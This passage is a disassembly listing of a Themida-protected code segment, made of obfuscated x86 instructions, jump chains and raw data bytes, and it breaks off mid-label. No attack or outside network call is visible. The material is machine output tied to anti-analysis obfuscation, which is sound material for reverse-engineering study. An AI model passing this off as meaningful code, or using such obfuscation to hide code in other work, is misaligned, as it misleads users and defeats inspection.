--------------------------------------------------------------------------- loc_595C94: ; CODE XREF: Themida_:0058BFD6j inc bl jmp loc_596F17 ; --------------------------------------------------------------------------- loc_595C9B: ; CODE XREF: Themida_:00591BAEj mov ch, dl mov edx, [esp] add esp, 4 add ch, 5Eh add bl, ch mov ecx, [esp] jmp loc_591F65 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2424895Ch, 0FF6AD5E9h db 0FFh ; --------------------------------------------------------------------------- loc_595CCD: ; CODE XREF: Themida_:00593881j mov edx, [esp] add esp, 4 jmp loc_590163 ; --------------------------------------------------------------------------- loc_595CDB: ; CODE XREF: Themida_:00591F6Cj push eax mov al, 9Eh jmp loc_58BAFA ; --------------------------------------------------------------------------- loc_595CE3: ; CODE XREF: Themida_:00595675j shl edx, 4 jmp loc_597048 ; --------------------------------------------------------------------------- loc_595CEB: ; CODE XREF: Themida_:00592344j pop ebx mov eax, edi jmp loc_597F3B ; --------------------------------------------------------------------------- loc_595CF3: ; CODE XREF: Themida_:0059039Bj xor eax, 63C32DCBh jmp loc_590005 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0ECh dd 4, 68241C89h, 653E2254h, 0E9DA315Bh, 0FFFFC1D3h ; --------------------------------------------------------------------------- loc_595D14: ; CODE XREF: Themida_:00595950j add edx, 18C4493Ch sub esp, 4 jmp loc_58BF7E ; --------------------------------------------------------------------------- dw 0BB8h dd 891D6D8Fh, 0BA5258C2h, 33F6307Fh, 15AD029h, 307F05D0h dd 34FF33F6h, 4D2CE924h, 0E381FFFFh, 1F742CEAh, 0D4B3800Fh dd 0F381FFFFh, 1420EEh, 815BD989h, 9335EAC7h, 1657E94Eh dd 34890000h, 0A7BFE924h, 5FE9FFFFh db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595D6F: ; CODE XREF: Themida_:00596417j xor eax, ecx push 5AA2h mov [esp], eax xchg ecx, [esp] not ecx xchg ecx, [esp] mov eax, [esp] push edx sub esp, 4 push esp pop dword ptr [esp] push ecx mov ecx, 4 jmp loc_5926EA ; --------------------------------------------------------------------------- db 50h dd 0BC6DB1B8h, 0A55CE965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595DA2: ; CODE XREF: Themida_:00596420j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58ABE9 ; --------------------------------------------------------------------------- loc_595DB6: ; CODE XREF: Themida_:00594093j add esp, 4 jmp loc_59715A ; --------------------------------------------------------------------------- dw 0C581h dd 4, 0FF8945E9h, 0F8CF81FFh, 4F6D4A01h, 6857534Fh, 3378760Ch dd 0F1EF815Fh, 8117B214h, 2A39E7E7h, 88810F3Ah, 81FFFF57h dd 1111A4C7h, 5FFB89EFh db 9, 0DFh ; --------------------------------------------------------------------------- loc_595DF6: ; CODE XREF: Themida_:00592BD6j add [ebx], eax pop ebx pop edx pop eax loc_595DFB: ; CODE XREF: Themida_:0058F957j push 3CB8h mov [esp], ebx mov eax, [esp] jmp loc_5948B7 ; --------------------------------------------------------------------------- loc_595E0B: ; CODE XREF: Themida_:00597A8Ej push edx mov edx, 65526119h jmp loc_594037 ; --------------------------------------------------------------------------- loc_595E16: ; CODE XREF: Themida_:0059799Fj pop edi push ebp mov ebp, esp push ebx push edx jmp loc_5938B9 ; --------------------------------------------------------------------------- loc_595E21: ; CODE XREF: Themida_:00593739j sub esp, 4 mov [esp], ecx push 5CCC0A2Ah pop ecx xchg edx, ecx not edx jmp loc_58FFDB ; --------------------------------------------------------------------------- loc_595E36: ; CODE XREF: Themida_:00593B49j mov ebp, 2187740Bh mov ebx, ebp pop ebp xor ebx, 0CCC089Fh add edx, ebx pop ebx jmp loc_58E929 ; --------------------------------------------------------------------------- loc_595E4C: ; CODE XREF: Themida_:0058AF2Bj pop ecx jmp loc_58E077 ; --------------------------------------------------------------------------- dw 2D66h dd 16628AFh, 0AF0566F8h, 44A0E928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595E62: ; CODE XREF: Themida_:0058F503j jmp loc_58A2CE ; --------------------------------------------------------------------------- db 66h dd 0E90002BAh, 0FFFFBCA6h, 83241C8Bh, 0A1E904C4h, 53FFFFD9h dd 0EF0B5DBBh, 0AFBF5716h, 0E940D315h, 0FFFF875Bh ; --------------------------------------------------------------------------- loc_595E8C: ; CODE XREF: Themida_:005931DDj sub edx, 280C0B9Fh add edx, 7EF8540Bh add edx, eax sub edx, 7EF8540Bh add edx, 280C0B9Fh push eax mov eax, 3FAE0CC1h push edi mov edi, 1607460Dh sub eax, edi pop edi and eax, 396A59CBh xor eax, 37B64054h push esi mov esi, 3D137D97h shl esi, 1 sub esi, 21357AA6h add esi, 0CE406D0h jmp loc_58B7E3 ; --------------------------------------------------------------------------- loc_595ED8: ; CODE XREF: Themida_:0058CD10j push 7C73h jmp loc_58A475 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 0FFCEA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_595EED: ; CODE XREF: Themida_:005949BCj pop edx xor ebp, 4201Ch push ebp xor dword ptr [esp], 62764025h pop eax xor eax, 62764025h pop ebp mov edx, eax pop eax add edx, 73B13AC7h add edx, edi sub edx, 73B13AC7h push dword ptr [edx] sub dword ptr [esp], 6DD12502h jmp loc_58A6B4 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241C89h, 0FFFF6828h ; --------------------------------------------------------------------------- loc_595F30: ; CODE XREF: Themida_:0058BBBDj push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 xor bl, al jmp loc_591CDB ; --------------------------------------------------------------------------- loc_595F54: ; CODE XREF: Themida_:0059035Ej push dword ptr [esp] mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ecx jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_595F7D: ; CODE XREF: Themida_:0058FFD6j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx mov ebx, esp push edi jmp loc_58D852 ; --------------------------------------------------------------------------- dw 0C14Eh dd 0EBE902EEh db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595F9B: ; CODE XREF: Themida_:0058F272j mov esi, eax mov eax, [esp] add esp, 4 shr esi, 2 not esi sub esi, 690662Ch jp loc_58F21F add esi, 952E0913h xor eax, esi push dword ptr [esp] jmp loc_594DA2 ; --------------------------------------------------------------------------- dd 815AD030h, 4ECh, 241C8900h, 0C380F0B3h, 0DC870F12h dd 80FFFF78h, 5166D5EBh, 5BE96CB1h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_595FE7: ; CODE XREF: Themida_:00590CE2j push dword ptr [esp] pop ebp jmp loc_58E0C4 ; --------------------------------------------------------------------------- loc_595FF0: ; CODE XREF: Themida_:0059351Ej mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_5952D8 ; --------------------------------------------------------------------------- db 55h, 0BDh, 24h dd 0E9586223h, 0FFFF4C25h, 0EBE9D601h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_596013: ; CODE XREF: Themida_:0058B808j mov ebp, esp push edx push ebx mov ebx, 703F0E06h sub ebx, 615C2495h xor ebx, 1BEA516Eh jmp loc_5924C5 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0CDh dd 6D3B1018h, 0C241F581h, 0EE297CA0h, 5695E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596042: ; CODE XREF: Themida_:0058A708j add esp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp] add esp, 4 add ebp, 2 xor ebp, [esp] jmp loc_58F10B ; --------------------------------------------------------------------------- dd 6671E94Fh, 0F766FFFFh, 0F58166DDh, 3166BDD8h, 81665DEAh dd 0E92021E2h, 1E63h, 0EE5E949h db 2 dup(0) ; --------------------------------------------------------------------------- loc_596086: ; CODE XREF: Themida_:0059619Bj add ebp, ecx jmp loc_58EBFE ; --------------------------------------------------------------------------- db 81h, 0C3h, 34h dd 5D04B522h, 4FB8C381h, 875E6E83h, 0DCE9241Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5960A3: ; CODE XREF: Themida_:0059762Fj push 3B1D5A3Bh pop ecx or ecx, 44E112D3h not ecx sub ecx, 3A4169B4h mov ebx, ecx pop ecx not ebx neg ebx jmp loc_595773 ; --------------------------------------------------------------------------- db 5Fh dd 8324148Bh, 42904C4h, 242C8124h, 1F372BAEh, 0FF7EF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5960D9: ; CODE XREF: Themida_:0058DCE2j pop esi dec esi push eax push 2F3Fh mov [esp], esi pop eax jmp loc_596124 ; --------------------------------------------------------------------------- dw 0C289h dd 8124048Bh, 4C4h, 8EAC100h, 0FF5ACDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5960FD: ; CODE XREF: Themida_:00596BF9j add eax, edx sub eax, 3EBB71EBh jmp loc_592AD7 ; --------------------------------------------------------------------------- loc_596109: ; CODE XREF: Themida_:0058DD6Cj xor ebp, 34697598h push ebx mov ebx, 2F7B636Fh shr ebx, 2 jmp loc_58E221 ; --------------------------------------------------------------------------- loc_59611D: ; CODE XREF: Themida_:0058A9F9j shl bl, 1 jmp loc_590545 ; --------------------------------------------------------------------------- loc_596124: ; CODE XREF: Themida_:0058DB7Cj ; Themida_:005960E5j pop esi shr eax, 2 xor eax, 236A4CFFh sub eax, 2447CF30h sub edx, eax jmp loc_592B98 ; --------------------------------------------------------------------------- loc_596139: ; CODE XREF: Themida_:00592FE3j pop eax mov esi, edi mov edi, [esp] add esp, 4 add edi, esi pop esi jmp loc_58DF20 ; --------------------------------------------------------------------------- db 66h, 31h, 34h dd 34336624h, 1AAAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59615A: ; CODE XREF: Themida_:005946EEj add ecx, 0F0C8D299h mov [eax], ecx mov ecx, [esp] add esp, 4 mov eax, [esp] jmp loc_58D6E8 ; --------------------------------------------------------------------------- loc_596173: ; CODE XREF: Themida_:005948A7j push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, edx jmp loc_590938 ; --------------------------------------------------------------------------- loc_59618F: ; CODE XREF: Themida_:0058B4DDj inc ebp sub esp, 4 mov [esp], ecx mov ecx, 725A3CCEh jmp loc_596086 ; --------------------------------------------------------------------------- loc_5961A0: ; CODE XREF: Themida_:0058B760j push edx mov dh, 0C4h xor dh, 11h jbe loc_592085 not dh not dh shr dh, 6 and dh, 0CBh jnp loc_58E487 sub dh, 0E1h push ecx mov cl, dh mov bh, cl pop ecx pop edx jmp loc_58E47C ; --------------------------------------------------------------------------- loc_5961CB: ; CODE XREF: Themida_:00595779j sub ebx, 4AE42B21h mov ebp, ebx jmp loc_595590 ; --------------------------------------------------------------------------- dd 5EE9FA89h, 8FFFFD0h, 24148BD3h, 0FF47A9E9h, 0D2BA52FFh dd 8136300Ah, 0F55341C2h, 6FE2812Ch, 81388469h, 3545FEEAh dd 5AD301A1h, 0E95A5452h, 0FFFFC1D9h, 8324348Bh, 0EA8704C4h dd 0EA87D5F7h, 0F03E2C1h, 0FFBFEC89h, 2EAC1FFh, 0DDB98B0Fh dd 0E2C1FFFFh, 0B9E28103h, 0F263F73h, 0FF857D8Fh, 0FAE956FFh dd 5CFFFF9Ah db 88h, 0E2h, 56h ; --------------------------------------------------------------------------- loc_596243: ; CODE XREF: Themida_:0058EE36j xchg esi, [esp] pop esp btr [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0FD01h dd 6FD4C581h, 0C58104F6h, 60187465h, 6FB0E95Fh, 0E952FFFFh dd 0FFFFF7E5h ; --------------------------------------------------------------------------- loc_59626C: ; CODE XREF: Themida_:00595581j sub eax, esi push ebp mov ebp, 0DFE56BFh or ebp, 2E9F1515h and ebp, 9F254C3h jz loc_591B5B add ebp, 586A181Ah add ebp, 1BA2E540h add eax, ebp pop ebp pop esi jmp loc_593FF2 ; --------------------------------------------------------------------------- db 66h dd 0CA32C181h, 8BCD8966h, 0C483240Ch, 0EB296604h, 762E9h dd 0D2F68000h, 805AF528h, 0E50055EDh, 8055C580h, 45865C5h dd 2CE8288Dh, 0D828598Dh, 3C246866h, 241C8966h, 0B57AE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5962DA: ; CODE XREF: Themida_:0058AC53j add esi, 80820Ch mov edi, esi pop esi jmp loc_58FD28 ; --------------------------------------------------------------------------- dd 59118858h, 8324148Bh, 72E904C4h, 0C1FFFFBBh, 0B85006EDh dd 609126A6h, 0FF93E9E9h, 4E8C1FFh, 0E7880548h, 0C681F7BEh dd 75A87462h, 0EE81C629h, 75A87462h, 24343358h, 0FF5733E9h db 0FFh ; --------------------------------------------------------------------------- loc_596325: ; CODE XREF: Themida_:0058B3EBj pop ebx add eax, 3C9C7770h sub eax, ebx sub eax, 3C9C7770h push ebx push edx mov edx, 624569C2h xor edx, 4E3404DBh sub edx, 14B13395h add edx, 36BE3AC9h mov ebx, edx pop edx jmp loc_594CC1 ; --------------------------------------------------------------------------- db 0FFh dd 0BB531C77h, 7F645630h, 4245C31h, 81241C8Bh, 4C4h, 24048B00h dd 815B5453h, 4C3h, 0FE95700h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59637B: ; CODE XREF: Themida_:00591558j pop esp mov ax, [esp] push ebp jmp loc_59009C ; --------------------------------------------------------------------------- dw 564Eh dd 5E2414F7h, 0B850D6F7h, 58D00623h, 43082D40h, 0FD0551BBh dd 0E9847ACEh, 0FFFF6963h, 52536650h, 0C38FE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5963AE: ; CODE XREF: Themida_:0058A2CFj add al, 4Bh add al, 9Eh sub al, bl sub al, 9Eh push ebx push eax push edx mov dh, 3Dh and dh, 8Ch jno loc_597ED0 not dh dec dh sub dh, 23h jmp loc_58CEC2 ; --------------------------------------------------------------------------- db 0ADh, 53h ; --------------------------------------------------------------------------- loc_5963D2: ; CODE XREF: Themida_:005913B7j mov esi, 65F117F6h or esi, 0A0B0623h dec esi push 0 sub [esp], esi pop esi dec esi sub esi, 9004E805h jmp loc_590660 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 7598E900h, 5F5AFFFFh, 5C38C681h, 0EE814E85h, 6CBF4333h dd 0FF977DE9h db 0FFh ; --------------------------------------------------------------------------- loc_596411: ; CODE XREF: Themida_:00597643j add esp, 4 shr eax, 0Ch jmp loc_595D6F ; --------------------------------------------------------------------------- loc_59641C: ; CODE XREF: Themida_:0059065Bj mov edx, [esp] push edx jmp loc_595DA2 ; --------------------------------------------------------------------------- loc_596425: ; CODE XREF: Themida_:0058D5F3j add bh, 6Bh mov ecx, [esp] add esp, 4 push small 39DEh mov [esp], cx mov ch, 0FCh add bh, ch pop cx mov cl, bh pop ebx push eax jmp loc_58F5D3 ; --------------------------------------------------------------------------- loc_596445: ; CODE XREF: Themida_:0059720Aj xor cl, 9Dh sub esp, 4 mov [esp], eax mov ah, 0DEh sub ah, 0FEh jmp loc_59120D ; --------------------------------------------------------------------------- loc_59645B: ; CODE XREF: Themida_:0059194Fj mov eax, 39264A9Bh sub ebx, 51A2444Bh add ebx, eax add ebx, 51A2444Bh pop eax push small word ptr [eax] jmp loc_593916 ; --------------------------------------------------------------------------- loc_596477: ; CODE XREF: Themida_:00590A20j pop esp add [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596481: ; CODE XREF: Themida_:00591986j sub edx, 64636A58h mov ecx, [esp] add esp, 4 add edx, 1C5F236Fh push ebp mov ebp, 56D1014Bh xor ebp, 29A83750h jmp loc_596CEF ; --------------------------------------------------------------------------- loc_5964A4: ; CODE XREF: Themida_:0058D0DBj push edx mov edx, 4490398Eh sub edx, 213E255Dh mov ecx, edx pop edx jmp loc_58E2F2 ; --------------------------------------------------------------------------- loc_5964B8: ; CODE XREF: Themida_:0059430Dj add eax, 502B6903h sub eax, edi sub eax, 502B6903h pop edi jmp loc_58E6A9 ; --------------------------------------------------------------------------- dw 0F181h dd 1B19686Fh, 0AE9F880Fh, 99E9FFFFh db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5964DB: ; CODE XREF: Themida_:00591351j sub eax, 29835A61h jmp loc_597648 ; --------------------------------------------------------------------------- loc_5964E5: ; CODE XREF: Themida_:00590B22j pop ecx sub al, bl mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_591BA0 ; --------------------------------------------------------------------------- loc_5964F6: ; CODE XREF: Themida_:00592F0Dj mov edi, 7FE78ADh sub edi, 0BE503E93h add ecx, edi jmp loc_594CDA ; --------------------------------------------------------------------------- loc_596508: ; CODE XREF: Themida_:00597B70j sub esi, 6EDE450Fh sub esi, 1A8479B3h sub esi, 79642ACAh sub esi, 56A7FE1Fh or eax, esi jmp loc_59355A ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF3DA2h, 74FF565Dh, 0E95E0424h, 0FFFFCB96h, 8EE9E089h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59653F: ; CODE XREF: Themida_:0058AFE5j mov eax, [esp] add esp, 4 add esp, 4 jmp loc_597C55 ; --------------------------------------------------------------------------- dd 7A48BE56h, 0EED17AA9h, 4E51EE81h, 0C6814321h, 5A0E1967h dd 8373C681h, 0F221C036h, 6FCA815Eh, 42146069h, 0FFC6F7E9h dd 0A082E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59657E: ; CODE XREF: Themida_:0058A712j pop dword ptr [esp] mov esp, [esp] add [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59658E: ; CODE XREF: Themida_:00592433j push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp jmp loc_58E21B ; --------------------------------------------------------------------------- dd 652CC0FEh, 0DEEE80h, 0DEC680C6h, 33EE8058h, 6824EE80h dd 4652h, 0B1240C89h, 59CE00C1h, 535AF028h, 11E0E9h db 0 ; --------------------------------------------------------------------------- loc_5965CD: ; CODE XREF: Themida_:0058B6ABj push ebp mov ebp, ecx mov ebx, ebp pop ebp jmp loc_58C0CD ; --------------------------------------------------------------------------- dd 836A92B9h, 244C0126h, 9CE95908h, 0F7FFFF4Dh, 1BD55D7h dd 1000000h, 0FE875DEFh, 4DDBF681h, 0DEF769CDh, 0C681EED1h dd 0A5A6A105h, 0E95EF589h, 0FFFFDC08h, 297B68h, 5800E900h dd 0C981FFFFh, 390B1356h, 0C8AEC181h, 0CD018200h, 0FF8FB8E9h dd 348B66FFh, 2C48124h, 66000000h, 666A8C68h, 66243489h dd 22474FFh, 8F665E66h, 83E92404h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59664B: ; CODE XREF: Themida_:0058BCF4j sub bl, al add bl, 0BEh jmp loc_5946B3 ; --------------------------------------------------------------------------- loc_596655: ; CODE XREF: Themida_:0058F8C6j xor ebx, eax jmp loc_58CCA5 ; --------------------------------------------------------------------------- loc_59665C: ; CODE XREF: Themida_:0058A34Bj push eax push dword ptr [esp+4] pop eax jmp loc_58FF8A ; --------------------------------------------------------------------------- loc_596667: ; CODE XREF: Themida_:00592D5Ej push 1927h jmp loc_594B1E ; --------------------------------------------------------------------------- loc_596671: ; CODE XREF: Themida_:005952D3j push 1994h mov [esp], ebx jmp loc_596EC3 ; --------------------------------------------------------------------------- dw 48Bh dd 0E3895324h, 2356B850h, 51483033h, 0D835D1B9h, 14E98140h dd 0F7599D38h, 0BD5553D9h, 0BC50899h, 0E95DEB89h, 0FFFFB961h dd 3098C781h, 0F7012034h, 0FF58B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5966B5: ; CODE XREF: Themida_:0058A7E8j push esi push 3E5A6B2Bh pop esi jmp loc_591516 ; --------------------------------------------------------------------------- loc_5966C1: ; CODE XREF: Themida_:loc_593026j push ebp mov ebp, 247D70B9h xor edi, ebp pop ebp add edi, 9A49F687h jmp loc_597305 ; --------------------------------------------------------------------------- db 57h, 59h, 0E9h dd 0FFFF41BFh, 52FFEC80h, 0B753E5B2h, 0CDEEE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5966EA: ; CODE XREF: Themida_:0058AAE5j pop ecx pop ecx sub esp, 4 mov [esp], ebx mov ebx, 6C487D9Ah xor ecx, ebx mov ebx, [esp] add esp, 4 mov [edi+20h], ecx mov ecx, [esp] add esp, 4 jmp loc_59259A ; --------------------------------------------------------------------------- loc_596713: ; CODE XREF: Themida_:0058BAC5j mov ebp, eax jmp loc_597D45 ; --------------------------------------------------------------------------- loc_59671A: ; CODE XREF: Themida_:0058E216j sub edx, 6F356822h sub edx, 174149EFh push ebp mov ebp, 7BE50EC1h jmp loc_58DE71 ; --------------------------------------------------------------------------- loc_596731: ; CODE XREF: Themida_:0058EE47j pop esi jmp loc_58D777 ; --------------------------------------------------------------------------- loc_596737: ; CODE XREF: Themida_:0058B2CAj pop esp jmp loc_596C87 ; --------------------------------------------------------------------------- loc_59673D: ; CODE XREF: Themida_:0058EB09j or edx, eax shl edx, 1 push dword ptr [edi+24h] push ebp mov ebp, esp jmp loc_59161F ; --------------------------------------------------------------------------- loc_59674C: ; CODE XREF: Themida_:0058D783j ; Themida_:loc_5900F4j shl eax, 6 add eax, 35B55D95h jmp loc_58DA2D ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 62680000h, 89000023h, 0B850243Ch, 6E17339h dd 2401FC0Dh, 0D28B0F52h, 40FFFF88h, 0EFAC840Fh, 0E0D1FFFFh db 0B5h, 16h ; --------------------------------------------------------------------------- loc_596786: ; CODE XREF: Themida_:0058A798j ; Themida_:0058DA36j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_5971BC ; --------------------------------------------------------------------------- db 57h, 0BFh, 0B4h dd 0E9685559h, 0FFFF86C9h, 0ABE9FD88h, 8B000006h, 0C481242Ch dd 4, 0E9240C33h, 0FFFF400Bh ; --------------------------------------------------------------------------- loc_5967BC: ; CODE XREF: Themida_:0058A86Ej push ecx jmp loc_59216A ; --------------------------------------------------------------------------- loc_5967C2: ; CODE XREF: Themida_:00592C18j push ecx jmp loc_595602 ; --------------------------------------------------------------------------- loc_5967C8: ; CODE XREF: Themida_:0058C256j push 53FFh mov [esp], ebx mov ebx, 4 and ecx, ebx push dword ptr [esp] pop ebx push ebp push 486Ch mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_58FCD4 ; --------------------------------------------------------------------------- dd 0F48034B4h, 0E98F0FA5h, 0FEFFFFE6h, 850FC4h, 0C0FFFF60h dd 0B5E903E4h, 81FFFF74h, 96BDFBEDh, 335C547Eh, 34312434h dd 4833E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59681E: ; CODE XREF: Themida_:005957FFj push eax mov eax, 0 add eax, ecx mov [eax], dh pop eax jmp loc_59538A ; --------------------------------------------------------------------------- loc_59682E: ; CODE XREF: Themida_:0058E278j push eax mov eax, 5AD52A50h dec eax jo loc_594BAC neg eax jbe loc_58F2DF add eax, 0B13531EBh not eax shr eax, 1 inc eax dec eax mov al, bh not edx jmp loc_593BD3 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 98E90424h, 0E9FFFF79h, 0FFFF3A66h ; --------------------------------------------------------------------------- loc_596868: ; CODE XREF: Themida_:0058C591j push edx mov dh, 0D8h mov bh, dh pop edx sub esp, 4 mov [esp], edx mov dh, 0C8h jmp loc_592C12 ; --------------------------------------------------------------------------- db 0B7h dd 28EF042Ch, 8BEF2CF8h, 0C481241Ch, 4, 0B6E9D828h, 66FFFFCDh dd 6824048Bh, 31A3h, 54240489h, 40558h, 0F7680000h, 8900003Dh dd 85E9242Ch, 86FFFFD3h, 86D3F6DEh, 1DCE80DEh, 840FE6D0h dd 0FFFF5EFCh, 0FA8C680h, 0FFA98982h, 0E95251FFh, 0FFFF7065h dd 62AE9h, 3E6C000h, 0F03E6C0h, 0FFDEB984h, 4EEC0FFh, 0A4D850Fh dd 0F6800000h, 5AF7884Ch, 0EFD0DFF6h, 0F381C98Bh, 18BC5B2Fh dd 70888D0Fh, 0EBC1FFFFh, 0EDC8E905h, 0E952FFFFh, 0FFFF6A7Ah ; --------------------------------------------------------------------------- loc_596914: ; CODE XREF: Themida_:0059802Bj mov [esp], edx push esi push edx push 6A5C0D21h jmp loc_591866 ; --------------------------------------------------------------------------- loc_596923: ; CODE XREF: Themida_:0058CB0Dj jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596928: ; CODE XREF: Themida_:005948DAj add ebp, eax add ebp, 68B54411h pop eax push edx mov edx, 4 add ebp, 40476E9Ah add ebp, edx sub ebp, 40476E9Ah pop edx xchg ebp, [esp] mov esp, [esp] push 551Ch jmp loc_590E5C ; --------------------------------------------------------------------------- dw 148Bh aWichvq db '$WηhVQ',0 dd 24148900h, 0FF39E7E9h, 0CFBD55FFh, 814C374Fh, 0C8B035C5h dd 5DEE01B3h, 334E9h, 527EBD00h, 6C013A87h, 8FE90424h dd 89FFFFD9h, 5D5AE9E6h, 0C480FFFFh, 100AE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59699A: ; CODE XREF: Themida_:0058BF13j push esi jmp loc_594FE9 ; --------------------------------------------------------------------------- dd 9D24F681h, 5668A472h, 8900005Bh, 0C2E92434h, 56FFFF4Fh dd 0E92414F7h, 0FFFF5C7Fh ; --------------------------------------------------------------------------- loc_5969BC: ; CODE XREF: Themida_:00597F3Ej mov edi, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], esi mov esi, 38D300Eh inc esi push 5D3Ah mov [esp], eax push esi push 27BA1453h jmp loc_58B92E ; --------------------------------------------------------------------------- loc_5969EA: ; CODE XREF: Themida_:0058DED3j add ebx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_597D1F ; --------------------------------------------------------------------------- db 89h dd 468242Ch, 5D000000h, 0ACE9EF01h, 80FFFF9Fh, 0EB884DC5h dd 0FF9E8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_596A1D: ; CODE XREF: Themida_:0058B37Ej push dx mov dl, 1Fh xor bh, dl pop dx push 48D3h jmp loc_5975AC ; --------------------------------------------------------------------------- db 66h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], eax push edx mov edx, 3DE43D4Ah inc edx add edx, 0E79D1799h jmp loc_597123 ; --------------------------------------------------------------------------- dd 0E9515B5Fh, 0FFFFFC69h ; --------------------------------------------------------------------------- loc_596A6C: ; CODE XREF: Themida_:0058F21Aj and al, dh jmp loc_5907FE ; --------------------------------------------------------------------------- db 5Bh dd 0FF8D9EE9h, 48B66FFh, 7B826824h, 98E90000h, 5EFFFFBFh dd 0FFBA0BE9h, 0E9E3B5FFh, 0FFFFC7E5h ; --------------------------------------------------------------------------- loc_596A94: ; CODE XREF: Themida_:00592E24j mov ecx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] mov [esp], cx jmp loc_5937D7 ; --------------------------------------------------------------------------- loc_596AAC: ; CODE XREF: Themida_:00594895j pop edx jmp loc_58BDBD ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 0FE930FFh, 81FFFF38h, 350CFBC5h, 5DEE29C7h dd 5DE9CE29h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596ACF: ; CODE XREF: Themida_:00594AACj add ebp, 76162828h jmp loc_59593B ; --------------------------------------------------------------------------- loc_596ADA: ; CODE XREF: Themida_:00597EB3j jmp loc_595BE8 ; --------------------------------------------------------------------------- loc_596ADF: ; CODE XREF: Themida_:0058D42Fj push esi mov esi, 57BE1A7Dh jmp loc_58CDEC ; --------------------------------------------------------------------------- dw 0D800h dd 9B04B304h, 0E9B0B753h, 0FFFF3E17h, 4BDh, 94BA5200h dd 81027326h, 5B08CEF2h, 40A86823h, 2C890000h, 2AA6BD24h dd 0EA0978ADh, 81DAF75Dh, 6C7135CAh, 98C28115h, 1A10076h dd 20E95AD1h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B2F: ; CODE XREF: Themida_:0058DF1Bj xor ebx, 4FF0D73h shr ebx, 4 not ebx add ebx, 148892A9h xor ebx, esi xor esi, ebx jmp loc_591970 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 44C68h, 242C8900h, 0FF80FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_596B5D: ; CODE XREF: Themida_:00590933j mov esp, [esp] mov [esp], edi xor dword ptr [esp], offset word_4D744E mov esi, [esp] add esp, 4 push edx mov edx, offset word_4D744E xor esi, edx mov edx, [esp] add esp, 4 push ebx push edi jmp loc_597396 ; --------------------------------------------------------------------------- db 2Ch dd 0FF58E9B3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596B92: ; CODE XREF: Themida_:0058CECAj mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_592A0C ; --------------------------------------------------------------------------- loc_596BA6: ; CODE XREF: Themida_:005927C8j mov esi, 5E62039Ch add ebx, esi pop esi push edi mov edi, 6ED403E0h shr edi, 6 jmp loc_58A7F9 ; --------------------------------------------------------------------------- loc_596BBC: ; CODE XREF: Themida_:0058DCC3j pop ecx sub ebp, 30103AF3h add ebp, edx jmp loc_58A806 ; --------------------------------------------------------------------------- loc_596BCA: ; CODE XREF: 